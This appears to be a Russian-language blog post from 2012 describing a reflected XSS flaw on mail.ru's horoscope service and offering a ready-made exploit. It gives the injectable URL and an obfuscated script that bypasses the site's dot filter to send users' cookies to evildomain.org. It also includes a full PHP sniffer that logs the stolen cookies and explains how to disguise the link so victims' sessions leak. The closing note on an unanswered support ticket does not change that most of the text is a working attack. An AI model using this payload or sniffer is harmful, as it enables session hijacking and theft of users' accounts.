Пассивная XSS на mail.ru и готовый exploit

в 11:32, , рубрики: mail.ru, xss, информационная безопасность, Песочница, РЕШЕТО, метки: , ,
Делать было нечего, дело было вечером.

Сидел как-то раз, обычный ничем не выдающийся скрипткидди дома, за своим холодным, но от этого не менее уютным ПК. В последнее время, он любил запихивать во всевозможные формы на форумах и сайтах различный наборов символов, так или иначе предназначенный для одной цели, разрушить html блок поля ввода. Он извращенец, ему доставляло удовольствие помогать людям. Администратор ресурса будучи поставленным в известность с его или без его помощи устранял найденную уязвимость, каждый такой случай был для него epic WIN.

Но этот вечер был необычным, потому что он не пошел на очередной форум, или частный сайт, он открыл mail.ru и подумал, почему нет?

Начало...

Первым делом надо было определить жертву
Пассивная XSS на mail.ru и готовый exploit

Для жертвы были выбраны «Леди» и «Гороскопы». Принцип отбора был таков — «какой из проектов менее интересен для it специалистов?».

Недолго попинав «Леди», принялся за «Гороскопы». Тут меня заинтересовал блок с гороскопами на все случаи жизни, который менялся при обновлении страницы.
Пассивная XSS на mail.ru и готовый exploit
Пассивная XSS на mail.ru и готовый exploit

Вставив незамысловатое ">Test видим:
Пассивная XSS на mail.ru и готовый exploit

Для начала не плохо. Теперь смотрим данные формы в которую будем отправлять свой злокод. Открываем исходник страницы и смотрим код уязвимого поля вывода данных:
Пассивная XSS на mail.ru и готовый exploit

Код формы ввода:
Пассивная XSS на mail.ru и готовый exploit

и код поля ввода:
Пассивная XSS на mail.ru и готовый exploit

Из чего извлекаем вот такую вот ссылку:
http:\horo.mail.ru/personal.html?type=prg&so_nm=XSS

Пентесты

Следующим шагом, проверяем поле на фильтрацию символов.

Пройдем по ссылке:
http:\horo.mail.ru/personal.html?type=prg&so_nm=text">-.-<a и видим что точка фильтруется
Пассивная XSS на mail.ru и готовый exploit

<a используется как короткий отсекатель мусора, от остатков сломанного тега. Иначе будут обломки закрывающие предыдущий тег, вот так:
Пассивная XSS на mail.ru и готовый exploit

Мы определили, что поле фильтрует точку, т.е. "><script>alert();<script> сработает, а вот
<script src="http://evildomain.org/g/evil.js"></script> нет, т.к. на выходе получим
<script src="http://evildomainorg/g/eviljs"></script>

Обфускатор

Нам нужно выполнить на странице, код который передаст куки сниферу, например такой:

img=new Image();
img.src='https://evildomain.org/g/sniff.php?cookie='+document.cookie;

Для обхода фильтрации точки в коде, надо его обфусцировать, для этого скрипткидди используют разные ресурсы, в данном конкретном был использован www.javascriptobfuscator.com/default.aspx

Даём ему на входе обычный JS:

img=new Image();
img.src='https://evildomain.org/g/sniff.php?cookie='+document.cookie;

На выходе получаем достаточно злой JS, без точек:
var _0xdfd0=["x73x72x63","x68x74x74x70x3Ax2Fx2Fx65x76x69x6Cx64x6Fx6Dx61x69x6Ex2Ex6Fx72x67x2Fx67x2Fx73x6Ex69x66x66x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D","x63x6Fx6Fx6Bx69x65"];img= new Image();img[_0xdfd0[0]]=_0xdfd0[1]+document[_0xdfd0[2]];

Обрамляем <script> и подставляем в нашу XSS, получаем зловредную ссылку:
http:\horo.mail.ru/personal.html?type=prg&so_nm="><script>var _0x984f=["x73x72x63","x68x74x74x70x3Ax2Fx2Fx7Ax6Fx72x67x2Ex74x6Bx2Fx67x2Fx73x6Ex69x66x66x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D","x63x6Fx6Fx6Bx69x65"];img= new Image();img[_0x984f[0]]=_0x984f[1]+document[_0x984f[2]];</script><a

Осталось разместить по ссылке http://evildomain.org/g/sniff.php простейший снифер, который пишет логи в один файл, а куки в другой:

<?php

if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS of F Y h:i:s A');
$text .= "n".str_repeat("=", 22) . "n" . $_GET['cookie']."n".str_repeat("=", 22)."n";
$file = fopen("./sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}

$date=date("[D|d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$uid=implode($argv," ");

$fp=fopen("./log.txt","a");
fputs($fp,"$datet|$uid|t$ip($real_ip)t$browsert$otkudat$winn");
fclose($fp);

?>

Всё готово.

Итого

Проверяем работу эксплоита в разных браузерах и убеждаемся что IE не такой уж плохой :), он как и Chrome, отбил XSS.

А сократив страшную ссылку выше или создав отдельную html форму в укромном месте, можно получить вполне съедобную и привычную ссылку, при нажатии на которую куки пользователей mail.ru (любителей FF и Opera) перетекут к вам:
Пассивная XSS на mail.ru и готовый exploit

Всё зависит от вашей фантазии, возможностей для компрометации море, авторизация под пользователем на всех ресурсах mail.ru, первая и самая очевидная.

Ответ mail.ru и бездействие

По уязвимости был открыт тикет от 29.06.2012: Ticket#2012062921010318
и получен ответ:

Здравствуйте.

Благодарим Вас за предоставленную информацию.
Ситуация передана нашим специалистам.

Спасибо за сотрудничество.

С уважением, Артем Д.
Служба поддержки пользователей
почтовой системы Mail.ru

Но уязвимость не закрыта по сей день, поэтому прошу администрацию mail.ru все таки принять меры.

Автор: zorgrhrd

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js